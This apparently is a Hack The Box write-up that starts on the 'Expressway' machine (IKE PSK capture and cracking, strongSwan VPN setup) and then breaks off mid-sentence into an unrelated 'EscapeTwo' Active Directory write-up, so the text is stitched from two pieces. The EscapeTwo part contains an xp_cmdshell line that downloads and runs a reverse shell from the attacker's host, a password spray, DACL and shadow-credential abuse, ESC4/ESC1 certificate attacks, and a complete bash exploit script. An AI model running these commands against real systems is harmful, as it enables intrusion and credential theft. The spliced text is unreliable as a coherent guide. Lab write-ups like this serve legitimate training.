HTB Expressway Writeup
Table of Contents
EscapeTwo is an easy HTB Linux machine, part of season 9.
nmap
┌──(kali㉿kali)-[~/htb/expressway]
└─$ sudo nmap 10.10.11.87 --min-rate 10000 -p-
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-22 22:13 EDT
Nmap scan report for 10.10.11.87
Host is up (0.21s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 10.79 seconds
┌──(kali㉿kali)-[~/htb/expressway]
└─$ sudo nmap 10.10.11.87 --min-rate 10000 -sU
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-22 22:14 EDT
Nmap scan report for 10.10.11.87
Host is up (0.20s latency).
Not shown: 993 open|filtered udp ports (no-response)
PORT STATE SERVICE
500/udp open isakmp
814/udp closed unknown
1023/udp closed unknown
3702/udp closed ws-discovery
49184/udp closed unknown
49262/udp closed unknown
54711/udp closed unknown
Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds
┌──(kali㉿kali)-[~/htb/expressway]
└─$ sudo nmap 10.10.11.87 --min-rate 10000 -sU -p 500,814,1023,3702,49184,49262,54711 -sC -sV
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-22 23:56 EDT
Nmap scan report for 10.10.11.87
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
500/udp open isakmp?
| ike-version:
| attributes:
| XAUTH
|_ Dead Peer Detection v1.0
814/udp closed unknown
1023/udp closed unknown
3702/udp closed ws-discovery
49184/udp closed unknown
49262/udp closed unknown
54711/udp closed unknown
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 128.41 seconds
┌──(kali㉿kali)-[~/htb/expressway]
└─$ sudo nmap 10.10.11.87 -p 22 -sC -sV
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-23 00:27 EDT
Nmap scan report for 10.10.11.87
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.53 seconds
Initial nmap scans show only a few pieces of info to go on.
- OpenSSH 10.0p2 which is current
- isakmp on port 500 UDP.
I’d never heard of isakmp. Google shows that it is for VPN-related Internet Key Exchange traffic.
I’ve never really had much to do with this from an offensive perspective, so further googling of “IKE traffic penetration testing github” and I found a handy blogpost by VeryLazyTech: https://www.verylazytech.com/network-pentesting/ipsec-ike-vpn-port-500-udp with some methodologies and tools.
First up, ike-version script for nmap which gave the same info as -sC default scripts - XAUTH and dead peer detection v1.0
Second, ike-scan which gives us some more information:
┌──(kali㉿kali)-[~/htb/expressway]
└─$ ike-scan -M -A 10.10.11.87
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87 Aggressive Mode Handshake returned
HDR=(CKY-R=d31ec53d1ef8b902)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
KeyExchange(128 bytes)
Nonce(32 bytes)
ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
VID=09002689dfd6b712 (XAUTH)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
Hash(20 bytes)
Ending ike-scan 1.9.6: 1 hosts scanned in 0.211 seconds (4.73 hosts/sec). 1 returned handshake; 0 returned notify
VeryLazytech says that aggressive mode being enabled is a security risk that opens the door to offline cracking - excellent.
┌──(kali㉿kali)-[~/htb/expressway]
└─$ ike-scan -A --pskcrack 10.10.11.87
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87 Aggressive Mode Handshake returned HDR=(CKY-R=e98513996c5da6d0) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)
IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):
05<..snip..>c89
Ending ike-scan 1.9.6: 1 hosts scanned in 0.210 seconds (4.76 hosts/sec). 1 returned handshake; 0 returned notify
┌──(kali㉿kali)-[~/htb/expressway]
└─$ echo '05<..snip..>c89' > psk.txt
I then used hashcat with rockyou and it took all of 0 seconds to crack.
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5400 (IKE-PSK SHA1)
Hash.Target......: 05...c89
Time.Started.....: Tue Sep 23 14:44:29 2025 (0 secs)
Time.Estimated...: Tue Sep 23 14:44:29 2025 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (.\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 36727.4 kH/s (3.28ms) @ Accel:806 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 9285120/14344385 (64.73%)
Rejected.........: 0/9285120 (0.00%)
Restore.Point....: 6190080/14344385 (43.15%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: lilsammy2 -> carmelita4
Hardware.Mon.#01.: Temp: 38c Fan: 0% Util: 9% Core:2625MHz Mem:10251MHz Bus:16
Now with seemingly valid credentials, I actually had no idea how to connect. More research pointed me towards the tool ‘strongswan’ so I installed it and updated my /etc/ipsec.conf and .etc.ipsec.secrets as necessary:
# ipsec.conf - strongSwan IPsec configuration file
# basic configuration
config setup
charondebug="all"
conn hacktheboxexpressway
type=tunnel
auto=start
keyexchange=ikev1
authby=secret
aggressive=yes
left=10.10.14.3
leftid=10.10.14.3
right=10.10.11.87
rightid=ike@expressway.htb
ike=3des-sha1-modp1024
esp=3des-sha1-modp1024
lifetime=28800s
ikelifetime=28800s
xauth=client
# This file holds shared secrets or RSA private keys for authentication.
# RSA private key for this host, authenticating it to any other host
# which knows the public part.
10.10.14.3 ike@expressway.htb : PSK "f<..snip..>d"
┌──(kali㉿kali)-[~/htb/expressway]
└─$ sudo ipsec restart
Stopping strongSwan IPsec...
Starting strongSwan 6.0.2 IPsec [starter]...
┌──(kali㉿kali)-[~/htb/expressway]
└─$ sudo ipsec up hacktheboxexpressway
generating QUICK_MODE request 1660733303 [ HASH SA No KE ID ID ]
sending packet: from 10.10.14.3[500] to 10.10.11.87[500] (300 bytes)
received packet: from 10.10.11.87[500] to 10.10.14.3[500] (76 bytes)
parsed INFORMATIONAL_V1 request 1080286291 [ HASH N(NO_PROP) ]
received NO_PROPOSAL_CHOSEN error notify
establishing connection 'hacktheboxexpressway' failed
I received an error, clearly something was wrong. I googled further and it looks like an additional line may be needed in the secrets file.
## This file holds shared secrets or RSA private keys for authentication.
# RSA private key for this host, authenticating it to any other host
# which knows the public part.
10.10.14.3 ike@expressway.htb : PSK "f<..snip..>d"
10.10.14.3 : XAUTH "ike" "f<..snip..>d"
I ran
┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ sudo sh -c 'echo "10.10.11.51 dc01.sequel.htb sequel.htb" >> /etc/hosts'
In addition to the expected Kerberos, LDAP and Active Directory Services, there is an SQL Server running on port 1433, and WinRM port 5985 is open.
With valid credentials, SMB and LDAP are definitely worth looking into. The SQL Server, Kerberos, and WinRM are also worth checking afterwards especially if rose is a member of Remote management users.
LDAP
┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ ldapsearch -H ldap://sequel.htb -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
dn:
namingcontexts: DC=sequel,DC=htb
namingcontexts: CN=Configuration,DC=sequel,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=sequel,DC=htb
namingcontexts: DC=DomainDnsZones,DC=sequel,DC=htb
namingcontexts: DC=ForestDnsZones,DC=sequel,DC=htb
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
Nothing that we didn’t already know.
Let’s run an ldapsearch with rose’s credentials:
┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ ldapsearch -H ldap://sequel.htb -U rose -w KxEPkKe6R8su -b "DC=sequel,DC=htb" > ldap.txt
┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ cat ldap.txt | grep userPrincipalName
userPrincipalName: michael@sequel.htb
userPrincipalName: ryan@sequel.htb
userPrincipalName: oscar@sequel.htb
userPrincipalName: sql_svc@sequel.htb
userPrincipalName: rose@sequel.htb
userPrincipalName: ca_svc@sequel.htb
┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ cat ldap.txt | grep 'cn: Domain Admins' -C 5 | grep member
member: CN=Administrator,CN=Users,DC=sequel,DC=htb
┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ cat ldap.txt | grep 'cn: Remote Management' -C 5 | grep member
member: CN=Ryan Howard,CN=Users,DC=sequel,DC=htb
┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ cat ldap.txt | grep 'description'
┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ cat ldap.txt | grep 'userPrincipalName: ca_svc' -B 34 -A 7
# Certification Authority, Users, sequel.htb
dn: CN=Certification Authority,CN=Users,DC=sequel,DC=htb
memberOf: CN=Cert Publishers,CN=Users,DC=sequel,DC=htb
We find that there is a Certification Authority that is a member of the group Cert Publishers, that Ryan Howard is a member of Remote Management users, and will be able to use WinRM. We also checked the description fields but nothing juicy.
SMB
Using crackmapexec, lets see if rose has any shares available.
┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ crackmapexec smb sequel.htb -u rose -p "KxEPkKe6R8su" --shares
SMB dc01.sequel.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB dc01.sequel.htb 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB dc01.sequel.htb 445 DC01 [+] Enumerated shares
SMB dc01.sequel.htb 445 DC01 Share Permissions Remark
SMB dc01.sequel.htb 445 DC01 ----- ----------- ------
SMB dc01.sequel.htb 445 DC01 Accounting Department READ
SMB dc01.sequel.htb 445 DC01 ADMIN$ Remote Admin
SMB dc01.sequel.htb 445 DC01 C$ Default share
SMB dc01.sequel.htb 445 DC01 IPC$ READ Remote IPC
SMB dc01.sequel.htb 445 DC01 NETLOGON READ Logon server share
SMB dc01.sequel.htb 445 DC01 SYSVOL READ Logon server share
SMB dc01.sequel.htb 445 DC01 Users READ
┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ crackmapexec smb sequel.htb -u rose -p "KxEPkKe6R8su" --spider "Accounting Department" --regex .
SMB dc01.sequel.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB dc01.sequel.htb 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB dc01.sequel.htb 445 DC01 [*] Started spidering
SMB dc01.sequel.htb 445 DC01 [*] Spidering .
SMB dc01.sequel.htb 445 DC01 //dc01.sequel.htb/Accounting Department/. [dir]
SMB dc01.sequel.htb 445 DC01 //dc01.sequel.htb/Accounting Department/.. [dir]
SMB dc01.sequel.htb 445 DC01 //dc01.sequel.htb/Accounting Department/accounting_2024.xlsx [lastm:'2024-06-09 07:11' size:10217]
SMB dc01.sequel.htb 445 DC01 //dc01.sequel.htb/Accounting Department/accounts.xlsx [lastm:'2024-06-09 07:11' size:6780]
Sure enough she does, so we can use smbclient to grab those files.
smbclient '//dc01.sequel.htb/Accounting Department/' -U rose%KxEPkKe6R8su
smb: \> get accounting_2024.xlsx
getting file \accounting_2024.xlsx of size 10217 as accounting_2024.xlsx (134.8 KiloBytes/sec) (average 134.8 KiloBytes/sec)
smb: \> get accounts.xlsx
getting file \accounts.xlsx of size 6780 as accounts.xlsx (81.7 KiloBytes/sec) (average 107.1 KiloBytes/sec)
These files appear to be corrupted but I used the Open and Repair option in excel and voila:

How thoughtful to keep the MS SQL sa account credentials in a spreadsheet for us.
SQL Command Execution and Reverse Shell
After generating a Powershell #3 (Base64) reverse shell at revshells.com, impackets-mssqlclient can be used to establish a reverse shell.
┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ impacket-mssqlclient sequel.htb/'sa:MSSQLP@ssw0rd!'@10.10.11.51
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'powershell -Command "IEX (New-Object Net.WebClient).DownloadString(''http://10.10.14.13:8080/revshell.ps1'')"'
┌──(kali㉿kali)-[~/htb]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.11.51] 50721
After a really far, far too long amount of time spent looking for config files in program files with no joy, I realised they were located in the C:\SQL2019 directory.
PS C:\SQL2019\ExpressAdv_ENU> cat sql-Configuration.ini
...
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="W..b3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
...
User Flag
With nothing else appearing in WinPEAS, no apparently exploitable permissions, I was stuck until I tried a password spray which really should have been the first thing I tried with a password:
┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ crackmapexec smb dc01.sequel.htb -u users.txt -p W..b3
SMB dc01.sequel.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
...
SMB dc01.sequel.htb 445 DC01 [+] sequel.htb\ryan:W..b3
Given that LDAP recon revealed Ryan was in Remote Management Users WinRM was available in ports, we should be able to establish a shell as Ryan with evil-winrm and grab the user key.
┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ evil-winrm -u 'ryan' -p 'W..b3' -i dc01.sequel.htb
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents> cd ..
*Evil-WinRM* PS C:\Users\ryan> cd Desktop
*Evil-WinRM* PS C:\Users\ryan\Desktop> ls
Directory: C:\Users\ryan\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 4/17/2025 11:04 PM 34 user.txt
DACLs
Although I was tempted to use Bloodhound here, and earlier, I am trying to get better with PowerView.
I began with the Find-InterestingDomainAcl function which can give a huge amount of info to sort through but luckily for me something interesting appeared right at the bottom of the list.
ObjectDN : CN=Certification Authority,CN=Users,DC=sequel,DC=htb
AceQualifier : AccessAllowed
ActiveDirectoryRights : WriteOwner
ObjectAceType : None
AceFlags : ContainerInherit
AceType : AccessAllowed
InheritanceFlags : ContainerInherit
SecurityIdentifier : S-1-5-21-548670397-972687484-3496335370-1114
IdentityReferenceName : ryan
IdentityReferenceDomain : sequel.htb
IdentityReferenceDN : CN=Ryan Howard,CN=Users,DC=sequel,DC=htb
IdentityReferenceClass : user
A better way to do this would be to specifically look for Ryan’s ACL’s by SID.
$SID = Get-DomainUser -Identity ryan | Select-Object -ExpandProperty ObjectSid
Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $SID}
AceType : AccessAllowed
ObjectDN : CN=Certification Authority,CN=Users,DC=sequel,DC=htb
ActiveDirectoryRights : WriteOwner
OpaqueLength : 0
ObjectSID : S-1-5-21-548670397-972687484-3496335370-1607
InheritanceFlags : ContainerInherit
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-548670397-972687484-3496335370-1114
AccessMask : 524288
AuditFlags : None
AceFlags : ContainerInherit
AceQualifier : AccessAllowed
Either way, we quickly discover that Ryan has WriteOwner permissions for the ca_svc account. With WriteOwner permissions we can change the Owner of the account, then give ourselves Full Control of the account, and check out the certificates for possible exploitation.
┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p Wq..b3 set owner ca_svc ryan
[+] Old owner S-1-5-21-548670397-972687484-3496335370-512 is now replaced by ryan on ca_svc
┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ python3 impacket/dacledit.py -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' 'sequel.htb/ryan'
Impacket v0.12.0.dev1 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] DACL modified successfully!
Certificate Abuse
Certipy-ad’s shadow command is useful for taking over an account when you can write to the msDS-KeyCredentialLink attribute of the account, which Full Control allows us to do. The shadow command has an auto action, which will add a new Key Credential to the target account, authenticate with the Key Credential to retrieve the NT hash and a TGT for the target, and finally restore the old Key Credential attribute.
┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ certipy-ad shadow auto -u 'ryan@sequel.htb' -p 'W..b3' -account ca_svc -dc-ip 10.10.11.51 -ns 10.10.11.51 -target 10.10.11.51
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '17f87fc9-7a43-7c1c-ac08-90ac7c08c045'
[*] Adding Key Credential with device ID '17f87fc9-7a43-7c1c-ac08-90ac7c08c045' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '17f87fc9-7a43-7c1c-ac08-90ac7c08c045' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Using principal: ca_svc@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': 3b..ce
Although we have the hash, certipy also generated a kerberos credential file. I had seen on this blog https://notes.benheater.com/books/active-directory/page/kerberos-authentication-from-kali a way to save a custom kerberos configuration and auth to winrm with it, so I wanted to trying using kerberos from here on instead of the hash. Let’s run a search for vulnerable templates:
┌──(kali㉿kali)-[~/htb/escapetwo/impacket]
└─$ KRB5CCNAME=$PWD/ca_svc.ccache certipy-ad find -scheme ldap -k -debug -target dc01.sequel.htb -dc-ip 10.10.11.51 -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)
...
Certificate Templates
0
Template Name : DunderMifflinAuthentication
Display Name : Dunder Mifflin Authentication
Certificate Authorities : sequel-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectRequireCommonName
SubjectAltRequireDns
Enrollment Flag : AutoEnrollment
PublishToDs
Private Key Flag : 16842752
Extended Key Usage : Client Authentication
Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1000 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
Object Control Permissions
Owner : SEQUEL.HTB\Enterprise Admins
Full Control Principals : SEQUEL.HTB\Cert Publishers
Write Owner Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Administrator
SEQUEL.HTB\Cert Publishers
Write Dacl Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Administrator
SEQUEL.HTB\Cert Publishers
Write Property Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Administrator
SEQUEL.HTB\Cert Publishers
[!] Vulnerabilities
ESC4 : 'SEQUEL.HTB\\Cert Publishers' has dangerous permissions
An ESC4 vulnerability exists. ESC4 is when a user has write privileges over a certificate template, in this case, the DunderMifflinAuthentication template. We can use Certipy-AD’s template function to modify the template, making it vulnerable to an ESC1 attack.
ESC1 is when a certificate template permits Client Authentication and allows the enrollee to supply an arbitrary Subject Alternative Name (SAN). So we can then request a certificate for the local administrator account on DC01 using the modified template, and then Certipy-AD can use that certificate to provide us with a kerberos .ccache file for the administrator account.
Simple right? However I had some real issues getting the ESC4 attack to actually work - with both the ownership of ca_svc and other parts of the process continuing to apply, then revert, in some cases nearly instantly. I think there was some kind of script running to reset / remove the permissions on ca_svc, so I decided to script the exploit chain to complete all steps before they could revert. And, because I am a noob at Bash scripting I wanted to practise making it pretty and paramaterised.
The core of the script is:
- Use bloodyAD to change owner of ca_svc to Ryan.
- Use impacket-dacledit to grant Full Control of ca_svc to Ryan.
- Use Certipy-AD’s shadow auto function to create a ca_svc.ccache kerberos authentication file.
- Exploit ESC4 to modify the DunderMifflinAuthentication template using Certipy-AD’s template function to make it vulnerable to ESC1.
- Request a new certificate as the administrator account.
- Create a krb5.conf file and then use the certificate to create kerberos file.
- Authenticate to WinRM using kerberos.
┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ ./sequel_htb_exploit.sh
[*] Starting Sequel HTB exploitation chain...
[+] Adding host entries to /etc/hosts...
✓ Hosts file updated
[+] Setting ownership of ca_svc to ryan...
✓ Done
[+] Setting FullControl rights for ryan on ca_svc...
✓ Done
[+] Performing shadow credentials attack on ca_svc...
✓ Done
[+] Modifying certificate template...
✓ Done
[+] Requesting certificate as administrator...
✓ Done
[+] Authenticating with certificate...
✓ Done
[+] Creating custom Kerberos configuration...
✓ Custom Kerberos configuration created
[+] Kerberos environment configured
[*] Launching Evil-WinRM session with Kerberos authentication...
[*] You will now have an interactive shell. Use 'exit' to close the session when done.
--------------------------------------------------------
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
sequel\administrator
cat C:\users\Administrator\Desktop\root.txt
Exploit script
#!/bin/bash
# Configuration variables
TARGET_IP="10.10.11.51"
DC_HOSTNAME="DC01"
DOMAIN="sequel.htb"
FQDN="${DC_HOSTNAME}.${DOMAIN}"
USER="ryan"
PASSWORD="W..b3"
TARGET_ACCOUNT="ca_svc"
TEMPLATE_NAME="DunderMifflinAuthentication"
CA_NAME="sequel-DC01-CA"
HASH="3b..ce"
PFX_FILE="administrator_10.pfx"
# Function to update hosts file
update_hosts() {
echo "[+] Adding host entries to /etc/hosts..."
if ! grep -q "$TARGET_IP $FQDN $DOMAIN" /etc/hosts; then
sudo sh -c "echo \"$TARGET_IP $FQDN $DOMAIN\" >> /etc/hosts"
echo " ✓ Hosts file updated"
else
echo " ✓ Hosts entries already exist"
fi
}
# Function to execute commands with hidden output but show progress
execute() {
local description="$1"
local command="$2"
echo "[+] $description..."
eval "$command" > /dev/null 2>&1
if [ $? -eq 0 ]; then
echo " ✓ Done"
else
echo " ✗ Failed"
fi
}
# Function to execute expect commands with hidden output
expect_execute() {
local description="$1"
local expect_script="$2"
echo "[+] $description..."
expect -c "log_user 0; $expect_script" > /dev/null 2>&1
if [ $? -eq 0 ]; then
echo " ✓ Done"
else
echo " ✗ Failed"
fi
}
# Main exploit sequence
echo "[*] Starting Sequel HTB exploitation chain..."
# Update hosts file first
update_hosts
execute "Setting ownership of $TARGET_ACCOUNT to $USER" \
"bloodyAD --host $FQDN -d $DOMAIN -u $USER -p '$PASSWORD' set owner $TARGET_ACCOUNT $USER"
expect_execute "Setting FullControl rights for $USER on $TARGET_ACCOUNT" \
"spawn python3 ./impacket/dacledit.py -action write -rights FullControl -principal $USER -target $TARGET_ACCOUNT $DOMAIN/$USER; expect \"Password:\"; send \"$PASSWORD\\r\"; expect eof"
execute "Performing shadow credentials attack on $TARGET_ACCOUNT" \
"certipy-ad shadow auto -u '$USER@$DOMAIN' -p '$PASSWORD' -account $TARGET_ACCOUNT -dc-ip $TARGET_IP -ns $TARGET_IP -target $FQDN"
execute "Modifying certificate template" \
"KRB5CCNAME=\$PWD/${TARGET_ACCOUNT}.ccache certipy-ad template -k -template $TEMPLATE_NAME -target $FQDN -dc-ip $TARGET_IP"
execute "Requesting certificate as administrator" \
"certipy-ad req -u $TARGET_ACCOUNT -hashes $HASH -ca $CA_NAME -template $TEMPLATE_NAME -target $FQDN -dc-ip $TARGET_IP -dns $TARGET_IP -ns $TARGET_IP -upn Administrator@$DOMAIN"
expect_execute "Authenticating with certificate" \
"spawn certipy-ad auth -pfx $PFX_FILE -dc-ip $TARGET_IP; expect \":\"; send \"0\\r\"; expect eof"
# Create custom krb5.conf
echo "[+] Creating custom Kerberos configuration..."
LOWER_REALM=$DOMAIN
UPPER_REALM=$(echo "$LOWER_REALM" | tr '[:lower:]' '[:upper:]')
cat << EOF | sed \
-e "s/{{REALM_PLACEHOLDER}}/$UPPER_REALM/g" \
-e "s/{{realm_placeholder}}/$LOWER_REALM/g" \
-e "s/{{dc_hostname}}/$DC_HOSTNAME/g" > custom_krb5.conf
[libdefaults]
default_realm = {{REALM_PLACEHOLDER}}
dns_lookup_realm = true
dns_lookup_kdc = true
[realms]
{{REALM_PLACEHOLDER}} = {
kdc = {{dc_hostname}}.{{realm_placeholder}}
admin_server = {{dc_hostname}}.{{realm_placeholder}}
default_domain = {{dc_hostname}}.{{realm_placeholder}}
}
[domain_realm]
{{realm_placeholder}} = {{REALM_PLACEHOLDER}}
.{{realm_placeholder}} = {{REALM_PLACEHOLDER}}
EOF
# Verify the config file was created correctly
if [ -s custom_krb5.conf ]; then
echo " ✓ Custom Kerberos configuration created"
else
echo " ✗ Failed to create Kerberos configuration"
exit 1
fi
# Export KRB5_CONFIG
export KRB5_CONFIG="$PWD/custom_krb5.conf"
echo "[+] Kerberos environment configured"
# Launch interactive shell with error handling
echo "[*] Launching Evil-WinRM session with Kerberos authentication..."
echo "[*] You will now have an interactive shell. Use 'exit' to close the session when done."
echo "--------------------------------------------------------"
# Run evil-winrm in a way that captures its exit status but doesn't show the error
KRB5CCNAME=$PWD/administrator.ccache evil-winrm -i $FQDN -r $DOMAIN || true
# Clean up message regardless of how evil-winrm exits
echo ""
echo "[*] Evil-WinRM session ended"
echo "[*] Exploitation chain completed successfully"